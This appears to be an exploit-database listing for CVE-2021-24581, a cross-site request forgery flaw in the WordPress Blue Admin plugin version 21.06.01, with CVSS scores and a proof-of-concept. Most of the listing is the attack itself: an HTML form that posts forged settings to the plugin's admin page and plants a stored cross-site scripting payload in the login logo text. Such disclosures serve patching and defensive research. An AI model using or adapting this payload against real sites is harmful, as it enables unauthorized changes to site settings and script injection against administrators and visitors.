WordPress Blue Admin 21.06.01 Cross Site Request Forgery

2022-05-1100:00:00

Abisheik M

packetstormsecurity.com

141

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

JSON

`Exploit Title: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)  
Date: 2021-07-27  
Exploit Author : Abisheik M   
Vendor Homepage : https://wpscan.com/plugin/blue-admi  
Version : <= 21.06.01  
Tested on: windows 10 Professional  
CVE : CVE-2021-24581  
  
<html>  
<body>  
<form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />  
<input type="hidden" name="ba_lp_attr[fm_color]" value="777777" />  
<input type="hidden" name="ba_lp_attr[logo_text]" value='WP"><script>alert(/XSS/)</script>' />  
<input type="hidden" name="ba_lp_attr[logo_url]" value="https://example.com" />  
<input type="hidden" name="ba_lp_attr[logo_img]" value="" />  
<input type="hidden" name="ba_lp_attr[bg_color]" value="EEEEEE" />  
<input type="hidden" name="ba_lp_attr[text_color]" value="222222" />  
<input type="hidden" name="ba_lp_attr[bg_img]" value="" />  
<input type="hidden" name="ba_lp_attr[bg_img_pos]" value="" />  
<input type="hidden" name="ba_lp_attr[bg_img_rep]" value="" />  
<input type="hidden" name="ba_lp_options_save" value="Save changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
`